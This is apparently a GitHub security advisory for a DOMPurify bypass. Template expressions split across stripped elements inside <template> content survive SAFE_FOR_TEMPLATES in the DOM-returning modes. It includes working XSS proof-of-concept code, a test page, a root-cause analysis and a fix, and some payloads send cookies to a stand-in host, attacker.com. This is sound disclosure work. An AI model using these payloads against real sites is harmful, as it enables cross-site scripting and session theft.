GHSA-GVMJ-G25R-R7WR
Vulnerability from github – Published: 2026-06-15 20:02 – Updated: 2026-06-15 20:02Summary
When DOMPurify is configured with both SAFE_FOR_TEMPLATES: true and RETURN_DOM: true (or IN_PLACE: true), an attacker can inject template expressions, such as ${evil}, {{evil}}, or <%evil%>, that survive the sanitization pass inside <template> element content. This bypasses the explicit purpose of SAFE_FOR_TEMPLATES, which is to prevent template engine evaluation of user-supplied content.
Note: The string output path is not affected. Only the DOM return paths (
RETURN_DOM: true,RETURN_DOM_FRAGMENT: true,IN_PLACE: true) are vulnerable.
Description
Background
SAFE_FOR_TEMPLATES is designed to strip {{ }}, ${ }, and <% %> expressions from sanitized output so that downstream template engines do not evaluate user-controlled content. The feature operates through two mechanisms:
- Per-node scrubbing (
_sanitizeElements,src/purify.ts:1403), scrubs individual text nodes during the main sanitization walk. - Final normalization pass (
_scrubTemplateExpressions,src/purify.ts:1115), callsnode.normalize()to merge adjacent text nodes, then walks the merged nodes and strips any expressions that only appeared after merging.
The Gap
_scrubTemplateExpressions uses a standard NodeIterator rooted at the output body:
// src/purify.ts:1117
const walker = createNodeIterator.call(
node.ownerDocument || node,
node,
NodeFilter.SHOW_TEXT | NodeFilter.SHOW_COMMENT | ...,
null
);
Per the DOM specification, a NodeIterator does not descend into <template>.content. The template element's content is a separate DocumentFragment that lives outside the normal child-node tree. For the same reason, node.normalize() (called on line 1116) also does not normalize text nodes inside <template>.content.
This means the final normalization and scrub pass, the only pass that catches expressions formed by merging split text nodes, never runs on <template> content.
How Split Text Nodes Are Created
When DOMPurify removes a disallowed element with KEEP_CONTENT: true (the default), it moves the element's text children into the parent node. This is the standard code path at src/purify.ts:1361–1373:
if (KEEP_CONTENT && !FORBID_CONTENTS[tagName]) {
const parentNode = getParentNode(currentNode);
const childNodes = getChildNodes(currentNode);
if (childNodes && parentNode) {
for (let i = childCount - 1; i >= 0; --i) {
const childClone = cloneNode(childNodes[i], true);
parentNode.insertBefore(childClone, getNextSibling(currentNode));
}
}
}
If the removed elements were adjacent siblings inside <template> content, their extracted text nodes end up as adjacent text nodes in the template content fragment. Each individual text node is scrubbed by _sanitizeElements, but since $ and {evil} do not match any expression regex on their own, neither is modified.
The code comment at src/purify.ts:1100 explicitly acknowledges the threat class:
"which only form after text-node normalization (e.g. fragments split across stripped elements) cannot survive into a template-evaluating framework."
The implementation guards against this on the main body, but the guard is not applied to <template> content.
Proof of Concept
Why the Split Works
The bypass relies on splitting ${...} across two adjacent custom elements so that neither fragment matches any DOMPurify regex on its own:
| Fragment | Against TMPLIT_EXPR /\${[\w\W]*/g |
Against MUSTACHE_EXPR /{{[\w\W]*\|^[\w\W]*}}/g |
Result |
|---|---|---|---|
$ |
Requires ${ - no { follows |
No {{ or }} |
Survives |
{alert(document.domain)} |
Requires leading $ - absent |
No {{, ends with single } not }} |
Survives |
${alert(document.domain)} |
Full match - would be stripped | - | Stripped if seen whole |
DOMPurify only sees each fragment in isolation. It never merges them before checking, so the expression is never detected.
PoC 1 - XSS via alert() (baseline confirmation)
// Attacker input - splits "${alert(document.domain)}" across two custom elements.
// Custom elements are not in DOMPurify's default ALLOWED_TAGS and are removed,
// but their text content is kept (KEEP_CONTENT: true is the default).
const dirty =
'<template>' +
'<x-split-1>$</x-split-1>' +
'<x-split-2>{alert(document.domain)}</x-split-2>' +
'</template>';
// Developer sanitizes with SAFE_FOR_TEMPLATES, trusting it strips ${...}
const sanitized = DOMPurify.sanitize(dirty, {
RETURN_DOM: true,
SAFE_FOR_TEMPLATES: true,
});
// Inspect what survived inside the <template>
const tmpl = sanitized.querySelector('template');
console.log([...tmpl.content.childNodes].map(n => n.nodeValue));
// ["$", "{alert(document.domain)}"] <-- two separate text nodes, both "clean"
// Frameworks (lit-html, Angular, custom renderers) routinely call normalize()
// before reading template content. This merges the adjacent nodes:
tmpl.content.normalize();
console.log(tmpl.content.textContent);
// "${alert(document.domain)}" <-- fully formed expression, past the sanitizer
// Any template-literal evaluator now fires XSS:
const expr = tmpl.content.textContent;
new Function(`return \`${expr}\``)();
// !! alert(document.domain) executes !!
PoC 2 - Session Hijacking via cookie exfiltration
// Splits "${document.location='//attacker.com/?c='+document.cookie}"
// "{document.location=...}" ends with a single "}" — does NOT match
// MUSTACHE_EXPR's "^[\w\W]*}}" (requires double "}}"), so it survives.
const dirty =
'<template>' +
'<x-a>$</x-a>' +
'<x-b>{document.location="//attacker.com/?c="+document.cookie}</x-b>' +
'</template>';
const sanitized = DOMPurify.sanitize(dirty, {
RETURN_DOM: true,
SAFE_FOR_TEMPLATES: true,
});
const tmpl = sanitized.querySelector('template');
tmpl.content.normalize();
console.log(tmpl.content.textContent);
// "${document.location="//attacker.com/?c="+document.cookie}"
// Template engine evaluates it - victim's browser makes the request:
new Function(`return \`${tmpl.content.textContent}\``)();
// !! Redirects victim to attacker.com with their full cookie string !!
// e.g. https://attacker.com/?c=session=abc123;auth_token=xyz789
PoC 3 - End-to-end: realistic application context
This shows the full path in an application that uses DOMPurify to sanitize user-submitted rich text before rendering it with a custom template engine:
<!-- index.html - the vulnerable application -->
<div id="output"></div>
<script type="module">
import DOMPurify from './dist/purify.es.mjs';
// Simulates fetching and rendering user-submitted comment
async function renderComment(userHtml) {
// Developer correctly uses SAFE_FOR_TEMPLATES to protect the template engine
const dom = DOMPurify.sanitize(userHtml, {
RETURN_DOM: true,
SAFE_FOR_TEMPLATES: true,
});
// Application iterates <template> elements and evaluates their content
// (common pattern in component-based frameworks)
dom.querySelectorAll('template').forEach(tmpl => {
tmpl.content.normalize(); // standard DOM housekeeping
const content = tmpl.content.textContent;
// Application uses template literals to interpolate user content into UI
const rendered = new Function('user', `return \`${content}\``)({ name: 'World' });
document.getElementById('output').innerHTML += rendered;
});
}
// Attacker-supplied comment content
const attackerComment =
'<template>' +
'<x-a>$</x-a>' +
'<x-b>{alert("XSS: " + document.cookie)}</x-b>' +
'</template>';
// Developer believes SAFE_FOR_TEMPLATES makes this safe — it does not for RETURN_DOM
renderComment(attackerComment);
// !! XSS fires, alert pops with session cookies !!
</script>
Observed output: alert("XSS: " + document.cookie) executes in the victim's browser context, leaking session tokens to the attacker.
PoC 4 - IN_PLACE mode (DOM input path)
// Applicable when the application sanitizes DOM nodes directly
// (e.g., content loaded into an iframe or received from a WebSocket)
const container = document.createElement('div');
const tmpl = document.createElement('template');
// Adjacent text nodes - these would never appear in HTML-parsed content,
// but CAN appear in programmatically constructed DOM or WebSocket messages
// that are deserialised into DOM nodes before sanitisation.
tmpl.content.appendChild(document.createTextNode('$'));
tmpl.content.appendChild(document.createTextNode('{alert(document.domain)}'));
container.appendChild(tmpl);
// Sanitize in-place with SAFE_FOR_TEMPLATES - expected to strip all ${...}
DOMPurify.sanitize(container, { IN_PLACE: true, SAFE_FOR_TEMPLATES: true });
// Neither text node was modified - each passed the regex check individually
container.querySelector('template').content.normalize();
console.log(container.querySelector('template').content.textContent);
// "${alert(document.domain)}" <-- survived in-place sanitization
new Function(`return \`${container.querySelector('template').content.textContent}\``)();
// !! XSS fires !!
HTML File for testing
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<title>DOMPurify SAFE_FOR_TEMPLATES Bypass - PoC</title>
<script src="dist/purify.js"></script>
<style>
* { box-sizing: border-box; margin: 0; padding: 0; }
body {
font-family: 'Segoe UI', system-ui, sans-serif;
background: #0d1117;
color: #e6edf3;
padding: 32px;
}
h1 { font-size: 1.4rem; color: #f85149; margin-bottom: 6px; }
.subtitle { color: #8b949e; font-size: 0.9rem; margin-bottom: 32px; }
.card {
background: #161b22;
border: 1px solid #30363d;
border-radius: 8px;
margin-bottom: 24px;
overflow: hidden;
}
.card-header {
display: flex;
align-items: center;
gap: 10px;
padding: 14px 20px;
border-bottom: 1px solid #30363d;
background: #1c2128;
}
.badge {
font-size: 0.72rem;
font-weight: 700;
padding: 2px 8px;
border-radius: 4px;
text-transform: uppercase;
letter-spacing: 0.05em;
}
.badge-run { background: #1f6feb; color: #fff; }
.badge-pass { background: #238636; color: #fff; }
.badge-fail { background: #da3633; color: #fff; }
.badge-warn { background: #9e6a03; color: #fff; }
.card-title { font-size: 0.95rem; font-weight: 600; }
.card-body { padding: 20px; }
label { font-size: 0.78rem; color: #8b949e; display: block; margin-bottom: 6px; }
pre {
background: #0d1117;
border: 1px solid #30363d;
border-radius: 6px;
padding: 14px;
font-size: 0.82rem;
line-height: 1.6;
overflow-x: auto;
margin-bottom: 14px;
white-space: pre-wrap;
word-break: break-all;
}
pre.result { border-color: #238636; background: #0a1a0f; }
pre.escaped { border-color: #da3633; background: #1a0a0a; }
pre.highlight { border-color: #f85149; color: #f85149; font-weight: bold; }
.grid { display: grid; grid-template-columns: 1fr 1fr; gap: 14px; }
@media (max-width: 700px) { .grid { grid-template-columns: 1fr; } }
.arrow {
text-align: center;
font-size: 1.4rem;
color: #8b949e;
margin: 4px 0;
}
.xss-banner {
display: none;
background: #da3633;
color: #fff;
text-align: center;
padding: 16px;
font-size: 1.1rem;
font-weight: 700;
border-radius: 6px;
margin-bottom: 24px;
letter-spacing: 0.03em;
}
button {
background: #238636;
color: #fff;
border: none;
padding: 10px 22px;
border-radius: 6px;
font-size: 0.9rem;
font-weight: 600;
cursor: pointer;
margin-right: 10px;
margin-bottom: 8px;
}
button:hover { background: #2ea043; }
button.danger { background: #da3633; }
button.danger:hover { background: #f85149; }
.note {
background: #161b22;
border-left: 3px solid #9e6a03;
padding: 12px 16px;
font-size: 0.82rem;
color: #e3b341;
border-radius: 0 6px 6px 0;
margin-top: 14px;
}
#log {
background: #0d1117;
border: 1px solid #30363d;
border-radius: 6px;
padding: 14px;
font-size: 0.8rem;
font-family: monospace;
min-height: 60px;
max-height: 300px;
overflow-y: auto;
line-height: 1.8;
}
.log-ok { color: #3fb950; }
.log-fail { color: #f85149; }
.log-info { color: #8b949e; }
.log-warn { color: #e3b341; }
</style>
</head>
<body>
<h1>🔴 DOMPurify 3.4.7 - SAFE_FOR_TEMPLATES Bypass</h1>
<p class="subtitle">
CVE candidate · Template expression injection via <template> content ·
Affects: <code>RETURN_DOM + SAFE_FOR_TEMPLATES</code> and <code>IN_PLACE + SAFE_FOR_TEMPLATES</code>
</p>
<div id="xss-banner" class="xss-banner">
⚠️ XSS CONFIRMED - Expression executed in this page's context
</div>
<!-- ── Controls ─────────────────────────────────────────── -->
<div class="card">
<div class="card-header">
<span class="badge badge-run">Controls</span>
<span class="card-title">Run individual test cases</span>
</div>
<div class="card-body">
<button onclick="runAll()">▶ Run all tests</button>
<button onclick="runPoC1()">PoC 1 - alert()</button>
<button onclick="runPoC2()">PoC 2 - cookie exfil</button>
<button onclick="runPoC3()">PoC 3 - IN_PLACE</button>
<button onclick="runControl()">Control - string output (should block)</button>
<div class="note">
PoC 1 uses <code>confirm()</code> instead of <code>alert()</code> so the page
doesn't need a dismiss click to continue. Watch the red banner at the top.
</div>
</div>
</div>
<!-- ── PoC 1 ─────────────────────────────────────────────── -->
<div class="card" id="card-poc1">
<div class="card-header">
<span class="badge badge-run" id="badge-poc1">PENDING</span>
<span class="card-title">PoC 1 - XSS via confirm() · RETURN_DOM mode</span>
</div>
<div class="card-body">
<div class="grid">
<div>
<label>ATTACKER INPUT - splits <code>${"{confirm(...)}"}</code> across two custom elements</label>
<pre id="input-poc1"></pre>
</div>
<div>
<label>AFTER DOMPurify.sanitize() - what survived in template.content</label>
<pre class="result" id="nodes-poc1"></pre>
</div>
</div>
<div class="arrow">↓ template.content.normalize() ↓</div>
<label>MERGED TEXT NODE - fully formed expression after normalization</label>
<pre class="highlight" id="merged-poc1"></pre>
<label>EXECUTION RESULT</label>
<pre id="exec-poc1">Not run yet</pre>
</div>
</div>
<!-- ── PoC 2 ─────────────────────────────────────────────── -->
<div class="card" id="card-poc2">
<div class="card-header">
<span class="badge badge-run" id="badge-poc2">PENDING</span>
<span class="card-title">PoC 2 - Cookie exfiltration · RETURN_DOM mode</span>
</div>
<div class="card-body">
<div class="grid">
<div>
<label>ATTACKER INPUT - exfil payload split across custom elements</label>
<pre id="input-poc2"></pre>
</div>
<div>
<label>INDIVIDUAL TEXT NODES after sanitization (each "clean")</label>
<pre class="result" id="nodes-poc2"></pre>
</div>
</div>
<div class="arrow">↓ template.content.normalize() ↓</div>
<label>MERGED EXPRESSION - what a template engine would evaluate</label>
<pre class="highlight" id="merged-poc2"></pre>
<label>SIMULATED EXECUTION (fetch URL that would be called)</label>
<pre id="exec-poc2">Not run yet</pre>
<div class="note">
Real execution would redirect the victim to
<code>attacker.com</code> carrying the session cookie.
This PoC constructs the URL without actually sending it.
</div>
</div>
</div>
<!-- ── PoC 3 ─────────────────────────────────────────────── -->
<div class="card" id="card-poc3">
<div class="card-header">
<span class="badge badge-run" id="badge-poc3">PENDING</span>
<span class="card-title">PoC 3 - XSS · IN_PLACE mode (DOM node input)</span>
</div>
<div class="card-body">
<div class="grid">
<div>
<label>ATTACKER PROVIDES - a DOM node with programmatically split text nodes</label>
<pre id="input-poc3"></pre>
</div>
<div>
<label>AFTER IN_PLACE sanitization - text nodes unchanged</label>
<pre class="result" id="nodes-poc3"></pre>
</div>
</div>
<div class="arrow">↓ template.content.normalize() ↓</div>
<label>MERGED EXPRESSION</label>
<pre class="highlight" id="merged-poc3"></pre>
<label>EXECUTION RESULT</label>
<pre id="exec-poc3">Not run yet</pre>
</div>
</div>
<!-- ── Control ───────────────────────────────────────────── -->
<div class="card" id="card-ctrl">
<div class="card-header">
<span class="badge badge-run" id="badge-ctrl">PENDING</span>
<span class="card-title">Control - string output (default) MUST block the payload</span>
</div>
<div class="card-body">
<label>Same attacker input, but sanitized WITHOUT RETURN_DOM (string output path)</label>
<pre id="input-ctrl"></pre>
<div class="arrow">↓ DOMPurify.sanitize() - string path hits the regex scrub at line 2067 ↓</div>
<label>OUTPUT STRING - expression should be stripped</label>
<pre id="output-ctrl">Not run yet</pre>
<div class="note">
The string output path is NOT vulnerable because
<code>body.innerHTML</code> serialises the template content into a
flat string where the full <code>${"{...}"}</code> expression is visible
and the final regex scrub catches it.
</div>
</div>
</div>
<!-- ── Log ───────────────────────────────────────────────── -->
<div class="card">
<div class="card-header">
<span class="badge badge-run">Log</span>
<span class="card-title">Test output</span>
</div>
<div class="card-body">
<div id="log"></div>
</div>
</div>
<script>
// ── Helpers ────────────────────────────────────────────────────────────────
let xssConfirmed = false;
function log(msg, type = 'info') {
const el = document.getElementById('log');
const line = document.createElement('div');
line.className = 'log-' + type;
line.textContent = '[' + new Date().toLocaleTimeString() + '] ' + msg;
el.appendChild(line);
el.scrollTop = el.scrollHeight;
}
function setBadge(id, status) {
const el = document.getElementById('badge-' + id);
el.textContent = status;
el.className = 'badge ' + {
PASS: 'badge-fail', // "PASS" here means the attack succeeded (bad for security)
BLOCK: 'badge-pass', // "BLOCK" means DOMPurify correctly blocked it
PENDING: 'badge-run',
ERROR: 'badge-warn',
}[status];
}
function markXSS(poc) {
if (!xssConfirmed) {
xssConfirmed = true;
document.getElementById('xss-banner').style.display = 'block';
}
log('🔴 XSS CONFIRMED in ' + poc + ' - expression executed in page context', 'fail');
}
// ── PoC 1: RETURN_DOM + alert ──────────────────────────────────────────────
function runPoC1() {
log('Running PoC 1 - RETURN_DOM + confirm()...', 'info');
// IMPORTANT:
// Build a REAL template DOM node with split TEXT nodes.
// HTML parsing would merge adjacent text automatically,
// so we construct the DOM programmatically.
const container = document.createElement('div');
const tmpl = document.createElement('template');
tmpl.content.appendChild(document.createTextNode('$'));
tmpl.content.appendChild(
document.createTextNode(
'{confirm("XSS - DOMPurify SAFE_FOR_TEMPLATES bypass\\nExpression executed in: " + document.domain)}'
)
);
container.appendChild(tmpl);
document.getElementById('input-poc1').textContent =
'template.content.childNodes[0].data = "$"\\n' +
'template.content.childNodes[1].data = "{confirm(...)}"';
// Sanitize the DOM node itself
const sanitized = DOMPurify.sanitize(container, {
RETURN_DOM: true,
SAFE_FOR_TEMPLATES: true,
});
const tmplAfter = sanitized.querySelector('template');
if (!tmplAfter) {
document.getElementById('exec-poc1').textContent =
'Template element removed during sanitization';
setBadge('poc1', 'ERROR');
return;
}
const nodesBefore = [...tmplAfter.content.childNodes].map(
n => JSON.stringify(n.nodeValue)
);
document.getElementById('nodes-poc1').textContent =
'childNodes[0].data = ' + nodesBefore[0] + '\\n' +
'childNodes[1].data = ' + nodesBefore[1] + '\\n\\n' +
'→ Neither fragment matched individually.';
log(
'PoC 1: Text nodes after sanitization: ' +
nodesBefore.join(', '),
'warn'
);
// Merge text nodes
tmplAfter.content.normalize();
const merged = tmplAfter.content.textContent;
document.getElementById('merged-poc1').textContent = merged;
log('PoC 1: After normalize() - merged text: ' + merged, 'warn');
try {
const result = new Function('return `' + merged + '`')();
document.getElementById('exec-poc1').textContent =
'✔ Expression executed successfully\\n' +
'Returned: ' + result;
setBadge('poc1', 'PASS');
markXSS('PoC 1');
} catch (e) {
document.getElementById('exec-poc1').textContent =
'Error: ' + e.message;
setBadge('poc1', 'ERROR');
log('PoC 1 error: ' + e.message, 'warn');
}
}
// ── PoC 2: cookie exfiltration ─────────────────────────────────────────────
function runPoC2() {
log('Running PoC 2 - cookie exfiltration...', 'info');
// Fake cookie for demonstration
document.cookie = 'session=DEADBEEF_SECRET_TOKEN; path=/';
// IMPORTANT:
// Build REAL split text nodes programmatically.
// Do NOT rely on HTML parsing.
const container = document.createElement('div');
const tmpl = document.createElement('template');
tmpl.content.appendChild(document.createTextNode('$'));
tmpl.content.appendChild(
document.createTextNode(
'{document.location="//attacker.com/steal?c="+document.cookie}'
)
);
container.appendChild(tmpl);
document.getElementById('input-poc2').textContent =
'template.content.childNodes[0].data = "$"\\n' +
'template.content.childNodes[1].data = "{document.location=...}"';
// Sanitize DOM node
const sanitized = DOMPurify.sanitize(container, {
RETURN_DOM: true,
SAFE_FOR_TEMPLATES: true,
});
const tmplAfter = sanitized.querySelector('template');
if (!tmplAfter) {
document.getElementById('exec-poc2').textContent =
'Template element removed during sanitization';
setBadge('poc2', 'ERROR');
log('PoC 2: template element missing after sanitize()', 'warn');
return;
}
const nodes = [...tmplAfter.content.childNodes].map(
n => JSON.stringify(n.nodeValue)
);
document.getElementById('nodes-poc2').textContent =
'Node 0: ' + nodes[0] + '\\n' +
'Node 1: ' + nodes[1] + '\\n\\n' +
'→ Neither fragment individually matches template-expression regexes.';
log('PoC 2: Nodes after sanitize: ' + nodes.join(', '), 'warn');
// Merge adjacent text nodes
tmplAfter.content.normalize();
const merged = tmplAfter.content.textContent;
document.getElementById('merged-poc2').textContent = merged;
log('PoC 2: Merged expression: ' + merged, 'warn');
// Simulate framework evaluation
try {
new Function('return `' + merged + '`')();
const cookieValue = document.cookie;
const stealUrl =
'//attacker.com/steal?c=' +
encodeURIComponent(cookieValue);
document.getElementById('exec-poc2').textContent =
'✔ Expression successfully evaluated\\n\\n' +
'Would redirect victim to:\\n' +
stealUrl + '\\n\\n' +
'Cookie exposed:\\n' +
cookieValue;
setBadge('poc2', 'PASS');
markXSS('PoC 2');
log('PoC 2: Would exfiltrate cookie → ' + stealUrl, 'fail');
} catch (e) {
document.getElementById('exec-poc2').textContent =
'Error: ' + e.message;
setBadge('poc2', 'ERROR');
log('PoC 2 error: ' + e.message, 'warn');
}
}
// ── PoC 3: IN_PLACE mode ───────────────────────────────────────────────────
function runPoC3() {
log('Running PoC 3 - IN_PLACE mode...', 'info');
// Build DOM node manually (simulates attacker-controlled DOM input,
// e.g. content parsed from a WebSocket message or an iframe)
const container = document.createElement('div');
const tmplEl = document.createElement('template');
// Two separate text nodes - HTML parser merges them, but programmatic
// DOM construction keeps them split. This is the IN_PLACE attack surface.
tmplEl.content.appendChild(document.createTextNode('$'));
tmplEl.content.appendChild(document.createTextNode('{confirm("XSS via IN_PLACE - domain: " + document.domain)}'));
container.appendChild(tmplEl);
document.getElementById('input-poc3').textContent =
'// Programmatically constructed DOM node:\n' +
'template.content.childNodes[0].data = "$"\n' +
'template.content.childNodes[1].data = "{confirm(\\"XSS via IN_PLACE...\\")}"\n\n' +
'// Passed to DOMPurify.sanitize(container, { IN_PLACE: true, SAFE_FOR_TEMPLATES: true })';
// Sanitize IN_PLACE - SAFE_FOR_TEMPLATES should strip the expression
DOMPurify.sanitize(container, {
IN_PLACE: true,
SAFE_FOR_TEMPLATES: true,
});
const tmplAfter = container.querySelector('template');
const nodesAfter = [...tmplAfter.content.childNodes].map(n => n.nodeValue);
document.getElementById('nodes-poc3').textContent =
'childNodes[0].data = ' + JSON.stringify(nodesAfter[0]) + '\n' +
'childNodes[1].data = ' + JSON.stringify(nodesAfter[1]) + '\n\n' +
'→ _scrubTemplateExpressions() did not enter template.content\n' +
'→ Both nodes unchanged after sanitization.';
log('PoC 3: Nodes after IN_PLACE sanitize: ' + nodesAfter.map(n => JSON.stringify(n)).join(', '), 'warn');
tmplAfter.content.normalize();
const merged = tmplAfter.content.textContent;
document.getElementById('merged-poc3').textContent = merged;
log('PoC 3: Merged: ' + merged, 'warn');
try {
const result = new Function('return `' + merged + '`')();
document.getElementById('exec-poc3').textContent =
'✔ new Function() returned: ' + result + '\n' +
'confirm() dialog shown. XSS confirmed via IN_PLACE mode.';
setBadge('poc3', 'PASS');
markXSS('PoC 3');
} catch (e) {
document.getElementById('exec-poc3').textContent = 'Error: ' + e.message;
setBadge('poc3', 'ERROR');
log('PoC 3 error: ' + e.message, 'warn');
}
}
// ── Control: string output must block ─────────────────────────────────────
function runControl() {
log('Running control - string output path (should block)...', 'info');
const dirty =
'<template>' +
'<x-split-1>$</x-split-1>' +
'<x-split-2>{confirm("this should never fire")}</x-split-2>' +
'</template>';
document.getElementById('input-ctrl').textContent = dirty;
// Default string output - NOT using RETURN_DOM
const sanitized = DOMPurify.sanitize(dirty, {
SAFE_FOR_TEMPLATES: true,
// RETURN_DOM intentionally omitted - string path is safe
});
document.getElementById('output-ctrl').textContent = sanitized;
const blocked = !sanitized.includes('${') && !sanitized.includes('{confirm');
if (blocked) {
setBadge('ctrl', 'BLOCK');
log('Control: String output correctly stripped the expression. Output: ' + sanitized, 'ok');
} else {
setBadge('ctrl', 'PASS'); // unexpected
log('Control: UNEXPECTED - expression survived string output path: ' + sanitized, 'fail');
}
}
// ── Run all ────────────────────────────────────────────────────────────────
function runAll() {
document.getElementById('log').innerHTML = '';
xssConfirmed = false;
document.getElementById('xss-banner').style.display = 'none';
log('=== Starting full test run ===', 'info');
runPoC1();
runPoC2();
runPoC3();
runControl();
log('=== Test run complete ===', 'info');
}
</script>
</body>
</html>
Root Cause
_scrubTemplateExpressions (src/purify.ts:1115) does not recurse into <template>.content:
const _scrubTemplateExpressions = function (node: Element): void {
node.normalize(); // Does NOT normalize inside <template>.content (DOM spec)
const walker = createNodeIterator.call(
node.ownerDocument || node,
node, // NodeIterator does NOT enter <template>.content
NodeFilter.SHOW_TEXT | NodeFilter.SHOW_COMMENT |
NodeFilter.SHOW_CDATA_SECTION | NodeFilter.SHOW_PROCESSING_INSTRUCTION,
null
);
// Scrubs nodes it finds, but never sees <template> content
};
The fix is to extend _scrubTemplateExpressions to explicitly recurse into <template>.content, mirroring the approach already used by _sanitizeShadowDOM (src/purify.ts:1753):
if (_isDocumentFragment(shadowNode.content)) {
_sanitizeShadowDOM(shadowNode.content); // already handles recursion
}
Suggested Patch Direction
const _scrubTemplateExpressions = function (node: Element): void {
node.normalize();
const walker = createNodeIterator.call( /* existing args */ );
// ... existing scrub loop ...
// NEW: recurse into <template>.content, mirroring _sanitizeShadowDOM
const templates = (node as Element).querySelectorAll?.('template') ?? [];
arrayForEach(Array.from(templates), (tmpl: HTMLTemplateElement) => {
if (_isDocumentFragment(tmpl.content)) {
_scrubTemplateExpressions(tmpl.content as unknown as Element);
}
});
};
Impact
Who is affected: Applications that use DOMPurify with SAFE_FOR_TEMPLATES: true combined with RETURN_DOM: true, RETURN_DOM_FRAGMENT: true, or IN_PLACE: true, whose downstream template engine processes <template> element content.
What an attacker can achieve: Inject arbitrary template expressions (${...}, {{...}}, <%...%>) into the sanitized DOM output inside <template> elements. If the consuming template engine evaluates these expressions, this leads to template injection, which in server-side contexts can escalate to Remote Code Execution and in client-side contexts to Cross-Site Scripting.
Preconditions for Exploitation
| Precondition | Notes |
|---|---|
SAFE_FOR_TEMPLATES: true |
Non-default - must be explicitly set |
RETURN_DOM: true or IN_PLACE: true |
Non-default - must be explicitly set |
Template engine processes <template>.content |
Application-dependent |
What Is NOT Affected
The string output path (default) is not affected. The final regex scrub at src/purify.ts:2067–2071 operates on the serialized HTML string, where the injected expression is visible and stripped:
// src/purify.ts:2067 - only runs on string output, not DOM output
if (SAFE_FOR_TEMPLATES) {
arrayForEach([MUSTACHE_EXPR, ERB_EXPR, TMPLIT_EXPR], (expr: RegExp) => {
serializedHTML = stringReplace(serializedHTML, expr, ' ');
});
}
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.4.7"
},
"package": {
"ecosystem": "npm",
"name": "dompurify"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.4.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-15T20:02:40Z",
"nvd_published_at": null,
"severity": "LOW"
},
"details": "## Summary\n\nWhen DOMPurify is configured with both `SAFE_FOR_TEMPLATES: true` and `RETURN_DOM: true` (or `IN_PLACE: true`), an attacker can inject template expressions, such as `${evil}`, `{{evil}}`, or `\u003c%evil%\u003e`, that survive the sanitization pass inside `\u003ctemplate\u003e` element content. This bypasses the explicit purpose of `SAFE_FOR_TEMPLATES`, which is to prevent template engine evaluation of user-supplied content.\n\n\u003e **Note:** The string output path is **not** affected. Only the DOM return paths (`RETURN_DOM: true`, `RETURN_DOM_FRAGMENT: true`, `IN_PLACE: true`) are vulnerable.\n\n---\n\n## Description\n\n### Background\n\n`SAFE_FOR_TEMPLATES` is designed to strip `{{ }}`, `${ }`, and `\u003c% %\u003e` expressions from sanitized output so that downstream template engines do not evaluate user-controlled content. The feature operates through two mechanisms:\n\n1. **Per-node scrubbing** (`_sanitizeElements`, `src/purify.ts:1403`), scrubs individual text nodes during the main sanitization walk.\n2. **Final normalization pass** (`_scrubTemplateExpressions`, `src/purify.ts:1115`), calls `node.normalize()` to merge adjacent text nodes, then walks the merged nodes and strips any expressions that only appeared after merging.\n\n### The Gap\n\n`_scrubTemplateExpressions` uses a standard `NodeIterator` rooted at the output body:\n\n```ts\n// src/purify.ts:1117\nconst walker = createNodeIterator.call(\n node.ownerDocument || node,\n node,\n NodeFilter.SHOW_TEXT | NodeFilter.SHOW_COMMENT | ...,\n null\n);\n```\n\nPer the DOM specification, a `NodeIterator` does **not** descend into `\u003ctemplate\u003e.content`. The template element\u0027s content is a separate `DocumentFragment` that lives outside the normal child-node tree. For the same reason, `node.normalize()` (called on line 1116) also **does not** normalize text nodes inside `\u003ctemplate\u003e.content`.\n\nThis means the final normalization and scrub pass, the only pass that catches expressions formed *by merging split text nodes*, never runs on `\u003ctemplate\u003e` content.\n\n### How Split Text Nodes Are Created\n\nWhen DOMPurify removes a disallowed element with `KEEP_CONTENT: true` (the default), it moves the element\u0027s text children into the parent node. This is the standard code path at `src/purify.ts:1361\u20131373`:\n\n```ts\nif (KEEP_CONTENT \u0026\u0026 !FORBID_CONTENTS[tagName]) {\n const parentNode = getParentNode(currentNode);\n const childNodes = getChildNodes(currentNode);\n if (childNodes \u0026\u0026 parentNode) {\n for (let i = childCount - 1; i \u003e= 0; --i) {\n const childClone = cloneNode(childNodes[i], true);\n parentNode.insertBefore(childClone, getNextSibling(currentNode));\n }\n }\n}\n```\n\nIf the removed elements were adjacent siblings inside `\u003ctemplate\u003e` content, their extracted text nodes end up as **adjacent text nodes** in the template content fragment. Each individual text node is scrubbed by `_sanitizeElements`, but since `$` and `{evil}` do not match any expression regex on their own, neither is modified.\n\nThe code comment at `src/purify.ts:1100` explicitly acknowledges the threat class:\n\n\u003e *\"which only form after text-node normalization (e.g. fragments split across stripped elements) cannot survive into a template-evaluating framework.\"*\n\nThe implementation guards against this on the main body, but the guard is **not** applied to `\u003ctemplate\u003e` content.\n\n---\n\n## Proof of Concept\n\n### Why the Split Works\n\nThe bypass relies on splitting `${...}` across two adjacent custom elements so that neither fragment matches any DOMPurify regex on its own:\n\n| Fragment | Against `TMPLIT_EXPR` `/\\${[\\w\\W]*/g` | Against `MUSTACHE_EXPR` `/{{[\\w\\W]*\\|^[\\w\\W]*}}/g` | Result |\n|---|---|---|---|\n| `$` | Requires `${` - no `{` follows | No `{{` or `}}` | **Survives** |\n| `{alert(document.domain)}` | Requires leading `$` - absent | No `{{`, ends with single `}` not `}}` | **Survives** |\n| `${alert(document.domain)}` | Full match - would be stripped | - | Stripped if seen whole |\n\nDOMPurify only sees each fragment in isolation. It never merges them before checking, so the expression is never detected.\n\n---\n\n### PoC 1 - XSS via `alert()` (baseline confirmation)\n\n```javascript\n// Attacker input - splits \"${alert(document.domain)}\" across two custom elements.\n// Custom elements are not in DOMPurify\u0027s default ALLOWED_TAGS and are removed,\n// but their text content is kept (KEEP_CONTENT: true is the default).\nconst dirty =\n \u0027\u003ctemplate\u003e\u0027 +\n \u0027\u003cx-split-1\u003e$\u003c/x-split-1\u003e\u0027 +\n \u0027\u003cx-split-2\u003e{alert(document.domain)}\u003c/x-split-2\u003e\u0027 +\n \u0027\u003c/template\u003e\u0027;\n\n// Developer sanitizes with SAFE_FOR_TEMPLATES, trusting it strips ${...}\nconst sanitized = DOMPurify.sanitize(dirty, {\n RETURN_DOM: true,\n SAFE_FOR_TEMPLATES: true,\n});\n\n// Inspect 